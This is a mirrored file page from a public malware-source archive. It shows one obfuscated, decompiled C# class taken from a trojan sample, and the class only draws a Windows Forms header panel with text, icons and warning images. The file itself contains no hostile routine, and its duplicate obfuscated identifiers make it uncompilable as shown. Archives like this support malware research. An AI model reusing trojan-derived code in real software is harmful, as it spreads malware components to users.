mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
f2ac1ece55
add
157 lines
4.6 KiB
C#
157 lines
4.6 KiB
C#
// Decompiled with JetBrains decompiler
|
||
// Type: .
|
||
// Assembly: syncuiLoader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||
// MVID: F112AE9C-7564-463C-8834-3BB2BC4FBE1B
|
||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Llac.aamy-d1153c91831872cfeacf510426d9b4752eab5933102816559dcd2628b12a7253.exe
|
||
|
||
using \u0005;
|
||
using System;
|
||
using System.Drawing;
|
||
using System.Runtime.CompilerServices;
|
||
using System.Runtime.InteropServices;
|
||
using System.Windows.Forms;
|
||
|
||
namespace \u0003
|
||
{
|
||
internal sealed class \u0004 : Control
|
||
{
|
||
private Label \u0001 = new Label();
|
||
private Image \u0001;
|
||
private Icon \u0001;
|
||
private Bitmap \u0001;
|
||
private \u0004 \u0001;
|
||
private float \u0001 = 1f;
|
||
private float \u0002 = 1f;
|
||
|
||
[SpecialName]
|
||
public void \u0003([In] \u0004 obj0)
|
||
{
|
||
if (this.\u0001 == obj0)
|
||
return;
|
||
this.\u0001 = obj0;
|
||
switch (this.\u0001)
|
||
{
|
||
case \u0004.\u0002:
|
||
this.\u0001 = \u0005.\u0005.\u0003("error16");
|
||
break;
|
||
case \u0004.\u0003:
|
||
this.\u0001 = \u0005.\u0005.\u0003("warning16");
|
||
break;
|
||
default:
|
||
this.\u0001 = (Bitmap) null;
|
||
break;
|
||
}
|
||
this.Refresh();
|
||
}
|
||
|
||
[SpecialName]
|
||
public override string get_Text() => this.\u0001.Text;
|
||
|
||
[SpecialName]
|
||
public override void set_Text([In] string obj0) => this.\u0001.Text = obj0;
|
||
|
||
protected override void Dispose([In] bool obj0)
|
||
{
|
||
if (obj0)
|
||
goto label_6;
|
||
label_5:
|
||
base.Dispose(obj0);
|
||
return;
|
||
label_6:
|
||
if (this.\u0001 != null)
|
||
goto label_7;
|
||
label_1:
|
||
if (this.\u0001 != null)
|
||
{
|
||
this.\u0001.Dispose();
|
||
this.\u0001 = (Image) null;
|
||
}
|
||
if (this.\u0001 != null)
|
||
{
|
||
this.\u0001.Dispose();
|
||
this.\u0001 = (Bitmap) null;
|
||
goto label_5;
|
||
}
|
||
else
|
||
goto label_5;
|
||
label_7:
|
||
this.\u0001.Dispose();
|
||
this.\u0001 = (Icon) null;
|
||
goto label_1;
|
||
}
|
||
|
||
protected override void OnResize([In] EventArgs obj0)
|
||
{
|
||
this.\u0001.SetBounds(Convert.ToInt32(13f * this.\u0001), Convert.ToInt32(15f * this.\u0002), this.Width - Convert.ToInt32(69f * this.\u0001), this.Height - Convert.ToInt32(18f * this.\u0002));
|
||
base.OnResize(obj0);
|
||
}
|
||
|
||
protected override void ScaleCore([In] float obj0, [In] float obj1)
|
||
{
|
||
this.\u0001 = obj0;
|
||
this.\u0002 = obj1;
|
||
base.ScaleCore(obj0, obj1);
|
||
this.OnResize(EventArgs.Empty);
|
||
}
|
||
|
||
protected override void OnPaint([In] PaintEventArgs obj0)
|
||
{
|
||
base.OnPaint(obj0);
|
||
obj0.Graphics.DrawLine(SystemPens.ControlDark, 0, this.ClientSize.Height - 2, this.ClientSize.Width, this.ClientSize.Height - 2);
|
||
obj0.Graphics.DrawLine(SystemPens.ControlLightLight, 0, this.ClientSize.Height - 1, this.ClientSize.Width, this.ClientSize.Height - 1);
|
||
Rectangle rectangle = new Rectangle(this.ClientSize.Width - Convert.ToInt32(48f * this.\u0001), Convert.ToInt32(11f * this.\u0002), Convert.ToInt32(32f * this.\u0001), Convert.ToInt32(32f * this.\u0002));
|
||
if (this.\u0001 != null)
|
||
{
|
||
obj0.Graphics.DrawImage(this.\u0001, rectangle, new Rectangle(0, 0, 32, 32), GraphicsUnit.Pixel);
|
||
}
|
||
else
|
||
{
|
||
if (this.\u0001 == null)
|
||
return;
|
||
obj0.Graphics.DrawIcon(this.\u0001, rectangle);
|
||
if (this.\u0001 == null)
|
||
return;
|
||
obj0.Graphics.DrawImage((Image) this.\u0001, new Rectangle(rectangle.Right - Convert.ToInt32(12f * this.\u0001), rectangle.Bottom - Convert.ToInt32(12f * this.\u0002), Convert.ToInt32(16f * this.\u0001), Convert.ToInt32(16f * this.\u0002)), new Rectangle(0, 0, 16, 16), GraphicsUnit.Pixel);
|
||
}
|
||
}
|
||
|
||
protected override void OnFontChanged([In] EventArgs obj0)
|
||
{
|
||
try
|
||
{
|
||
this.\u0001.Font = new Font(this.Font, FontStyle.Bold);
|
||
base.OnFontChanged(obj0);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
}
|
||
|
||
public \u0004()
|
||
{
|
||
try
|
||
{
|
||
this.\u0001.FlatStyle = FlatStyle.System;
|
||
this.\u0001.Font = new Font(this.Font, FontStyle.Bold);
|
||
}
|
||
catch
|
||
{
|
||
}
|
||
this.Controls.Add((Control) this.\u0001);
|
||
this.BackColor = SystemColors.Window;
|
||
this.TabStop = false;
|
||
this.Dock = DockStyle.Top;
|
||
this.Height = 58;
|
||
this.SetStyle(ControlStyles.UserPaint | ControlStyles.ResizeRedraw | ControlStyles.SupportsTransparentBackColor | ControlStyles.AllPaintingInWmPaint | ControlStyles.DoubleBuffer, true);
|
||
this.\u0001 = \u0002.\u0003();
|
||
this.OnResize(EventArgs.Empty);
|
||
}
|
||
|
||
public \u0004([In] string obj0)
|
||
: this()
|
||
{
|
||
this.\u0001.Text = obj0;
|
||
}
|
||
}
|
||
}
|